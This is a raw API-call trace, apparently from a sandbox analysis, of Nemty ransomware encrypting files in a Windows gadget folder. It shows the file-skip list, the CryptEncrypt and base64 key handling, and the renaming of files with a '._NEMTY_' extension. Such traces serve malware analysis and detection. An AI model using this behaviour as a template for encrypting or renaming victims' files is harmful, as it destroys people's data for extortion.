[0122.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0122.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_h.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_h.png._nemty_kgobjgd_")) returned 0 [0122.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0122.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0122.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0122.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0122.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0122.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0122.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0122.885] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c8cf6d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82c8cf6d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28ddab9d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x169, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="trad_m.png", cAlternateFileName="")) returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2=".") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="..") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="...") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="windows") returned -1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="$RECYCLE.BIN") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="rsa") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="NTDETECT.COM") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="ntldr") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="MSDOS.SYS") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="IO.SYS") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="boot.ini") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="boot.ini") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="AUTOEXEC.BAT") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="ntuser.dat") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="desktop.ini") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="CONFIG.SYS") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="RECYCLER") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="BOOTSECT.BAK") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="bootmgr") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="programdata") returned 1 [0122.885] lstrcmpiW (lpString1="trad_m.png", lpString2="appdata") returned 1 [0122.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_m.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0122.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_m.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_m.png", lpUsedDefaultChar=0x0) returned 10 [0122.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_m.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0122.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_m.png", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_m.png", lpUsedDefaultChar=0x0) returned 10 [0122.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_m.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0122.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_m.png", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_m.png", lpUsedDefaultChar=0x0) returned 10 [0122.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_m.png", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0122.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="trad_m.png", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trad_m.png", lpUsedDefaultChar=0x0) returned 10 [0122.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0122.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0122.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0122.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0122.886] Sleep (dwMilliseconds=0x5) [0122.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfce5d4f0, dwHighDateTime=0x1d561e7)) [0122.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfce5d4f0, dwHighDateTime=0x1d561e7)) [0122.895] GetLastError () returned 0x5 [0122.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0122.895] GetLastError () returned 0x5 [0122.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0122.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0122.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0122.895] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0122.895] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0122.895] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0122.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0122.895] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="gu2o4O2FjYjSo9Y5VpyDu6UmHctpsA6AxjihN4P9Px25AaDkYSAgqKCOEt1sJc8G\r\nzUpgsDnQxqptI7toNkutPbbAm6qTT9A/Bz3imxSc7VpGC16q6psm7pJwKtUQWHyq\r\nafinIv5Gb1a+PR8HNM3aCQYxOUHgt2bAcRU6Rs8X2GVpYOxWWpqQYA1N97K2cjhA\r\nT6RkMl0BrYfHqYjqs0aeQAsUGleJknjq669AfpECMHx5kJRavFqyZ74rPoi3CgJq\r\nEYiK8HamMWtrI20YovLTukL9Y/KaLxfNx7UBVLYvpxiT91//ftN+isZBPHNRnxaG\r\nkICdON14nbdb+NH4qSfibw==\r\n", pcchString=0x653e91c) returned 1 [0122.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0122.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0122.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0122.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0122.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0122.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0122.895] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.946] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0122.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0122.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.946] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.975] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0122.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0122.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0122.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.012] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.012] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.012] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.021] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.021] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.022] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.022] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.031] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.031] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.031] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.046] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0123.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.053] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0123.053] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0123.053] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0123.053] CloseHandle (hObject=0xffffffff) returned 0 [0123.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0123.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0123.053] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0123.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0123.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0123.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0123.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340350 [0123.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403f8 [0123.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0123.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0123.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_m.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_m.png._nemty_kgobjgd_")) returned 0 [0123.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0123.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0123.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0123.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0123.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0123.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0123.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0123.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0123.054] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82cb30ca, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82cb30ca, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28e00cfb, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbb8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="trad_s.png", cAlternateFileName="")) returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2=".") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="..") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="...") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="windows") returned -1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="$RECYCLE.BIN") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="rsa") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="NTDETECT.COM") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="ntldr") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="MSDOS.SYS") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="IO.SYS") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="boot.ini") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="boot.ini") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="AUTOEXEC.BAT") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="ntuser.dat") returned 1 [0123.054] lstrcmpiW (lpString1="trad_s.png", lpString2="desktop.ini") returned 1 [0123.055] lstrcmpiW (lpString1="trad_s.png", lpString2="CONFIG.SYS") returned 1 [0123.055] lstrcmpiW (lpString1="trad_s.png", lpString2="RECYCLER") returned 1 [0123.055] lstrcmpiW (lpString1="trad_s.png", lpString2="BOOTSECT.BAK") returned 1 [0123.055] lstrcmpiW 